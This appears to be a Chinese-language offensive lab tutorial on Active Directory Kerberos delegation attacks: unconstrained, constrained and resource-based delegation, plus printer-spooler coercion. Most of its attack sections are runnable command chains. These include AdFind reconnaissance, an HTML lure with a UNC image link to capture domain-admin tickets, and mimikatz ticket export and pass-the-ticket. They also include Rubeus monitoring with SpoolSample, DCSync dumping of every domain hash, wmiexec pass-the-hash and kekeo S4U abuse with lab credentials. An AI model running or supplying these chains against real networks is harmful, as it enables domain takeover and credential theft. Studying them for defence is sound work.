内网对抗-横向移动篇&Kerberos&委派安全&非约束系&约束系&RBCD资源系&Spooler利用
#委派安全知识点
委派是一种域内应用模式,是指将域内用户账户的权限委派给服务账号,服务账号因此能以用户的身份在域内展开活动(请求新的服务等),类似于租房中介房东的关系去理解。
域委派分类:
1、非约束委派(Unconstrained Delegation, UD)
实际用途:
传统应用程序支持,特别是需要访问多个后端服务的旧系统
需要完全代表用户身份访问网络中任何服务的场景
某些Exchange Server配置中可能使用
安全问题:
攻击者可以利用此功能进行"Kerberos委派攻击"
一旦获取UD服务账户,可以模拟任何访问该服务的用户
微软已不推荐使用,但仍有旧系统在使用
2、约束委派(Constrained Delegation, CD)
实际用途:
现代应用程序中更安全的委派方式
允许服务A代表用户只访问特定的服务B(如SQL服务)
Web服务器访问后端数据库的典型场景
只允许使用特定Kerberos服务(S4U2Proxy)
配置特点:
在服务A的AD账户上设置"msDS-AllowedToDelegateTo"属性
明确指定允许委派的目标服务列表
3、基于资源的约束委派(Resource Based Constrained Delegation, RBCD)
实际用途:
Windows Server 2012及更高版本引入的更安全模型
资源所有者控制谁可以委派到它(而不是服务控制可以委派到哪里)
更细粒度的访问控制
适用于现代云和混合环境
配置特点:
在目标服务(资源)上设置"msDS-AllowedToActOnBehalfOfOtherIdentity"属性
服务账户不需要特殊权限即可被配置为可委派
简而言之,非约束委派是指用户账户将自身的TGT转发给服务账户使用。约束委派通过S4U2Self和S4U2Proxy两个扩展协议限制服务账户只能访问指定服务资源。
RBCD主要就是委派的管理移交给服务资源进行控制,其余和约束性委派基本相同。
账户分类:
机器账户:计算机本身名称的账户,在域中computers组内的计算机。
主机账户:计算机系统的主机账户,用于正常用户登入计算机使用。
服务账户:计算机服务安装时创建的账户,用于运行服务时使用,不可用于登入计算机。
涉及项目:
https://github.com/shanfenglan/test/tree/master/spooler
https://github.com/fortra/impacket(综合利用)
https://github.com/gentilkiwi/kekeo(票据利用)
https://github.com/topotam/PetitPotam(结合ntlm重放)
https://github.com/leechristensen/SpoolSample(打印机利用)
https://www.joeware.net/freetools/tools/adfind/(信息收集)
参考文章:
https://forum.butian.net/share/1591
https://www.cnblogs.com/sup3rman/p/16088447.html
https://mp.weixin.qq.com/s/0UOOMF5s00D-y3fojVKMdA
#非约束委派
原理:
机器A(域控)访问具有非约束委派权限的机器B的服务,会把当前认证用户(域管用户)的的TGT放在ST票据中,一起发送给机器B,机器B会把TGT存储在lsass进程中以备下次重用。从而机器B就能使用这个TGT模拟认证用户(域管用户)访问服务。
利用场景
攻击者拿到了一台配置非约束委派的机器权限,可以诱导域管来访问该机器,然后得到管理员的TGT,从而模拟域管用户。
复现配置:
1、信任此计算机来委派任何服务
2、setspn -U -A priv/test webadmin
判断查询:
查询域内设置了非约束委派的服务账户:
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
查询域内设置了非约束委派的机器账户:
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn
利用思路1:诱使域管理员访问机器
利用条件:
1、需要Administrator权限
2、域内主机的机器账户开启非约束委派
3、域控管理员远程访问(主动或被动)
利用过程:
1、域控与委派机器通讯
主动:
net use \\webserver
钓鱼:
http://192.168.3.31/31.html
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<img src="file:///\\192.168.3.31\2">
</body>
</html>
2、导出票据到本地
mimikatz sekurlsa::tickets /export
3、导入票据到内存
mimikatz kerberos::ptt [0;fece8]-2-0-60a00000-Administrator@krbtgt-GOD.ORG.kirbi
4、连接通讯域控
shell dir \\owa2010cn-god\c$
利用思路2:结合打印机漏洞
利用条件:DC 2012以上 (****重点)
1、Administrator权限监听
2、打印机服务spooler开启(默认开启)
利用过程:
1、监听来自DC的请求数据并保存文件
shell Rubeus.exe monitor /interval:2 /filteruser:dc$ >hash.txt
域用户运行SpoolSample强制让DC请求
shell SpoolSample.exe dc web2016
2、Rubeus监听到票据并导入该票据
shell Rubeus.exe ptt /ticket:xxx
3、使用mimikatz导出域内Hash
mimikatz lsadump::dcsync /domain:xiaodi8.com /all /csv
4、使用wmi借助hash横向移动
python wmiexec.py -hashes :0b17b318cd59bb4e90f5a528437481a9 xiaodi8.com/administrator@dc.xiaodi8.com -no-pass
利用思路3:结合PetitPotam
适用于windows其他版本
结合NTLM Relay监听,后续讲到
#约束委派
原理:
由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,对Kerberos协议进行了拓展,引入了SService for User to Self (S4U2Self)和 Service for User to Proxy (S4U2proxy)。
利用场景:
如果攻击者控制了服务A的账号,并且服务A配置了到域控的CIFS服务的约束性委派。
则攻击者可以先使用S4u2seflt申请域管用户(administrator)访问A服务的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。
复现配置:
1、机器设置仅信任此计算机指定服务-cifs
2、用户设置仅信任此计算机指定服务-cifs
利用思路:使用机器账户票据
利用条件:kekeo Rubeus getST
1、需要Administrator权限
2、目标机器账户配置了约束性委派
判断查询:
查询机器用户(主机)配置约束委派
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
查询服务账户(主机)配置约束委派
AdFind -b "DC=god,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
kekeo利用步骤:
1、获取webadmin用户的票据
kekeo "tgt::ask /user:webadmin /domain:god.org /password::admin!@#45 /ticket:administrator.kirbi" "exit"
kekeo "tgt::ask /user:webadmin /domain:god.org /NTLM:518b98ad4178a53695dc997aa02d455c /ticket:administrator.kirbi" "exit"
2、利用webadmin用户票据请求获取域控票据
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god" "exit"
kekeo "tgs::s4u /tgt:TGT_webadmin@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi /user:Administrator@god.org /service:cifs/owa2010cn-god.god.org" "exit"
3、导入票据到内存
mimikatz kerberos::ptt TGS_Administrator@god.org@GOD.ORG_cifs~owa2010cn-god.god.org@GOD.ORG.kirbi
4、连接通讯域控
shell dir \\owa2010cn-god.god.org\c$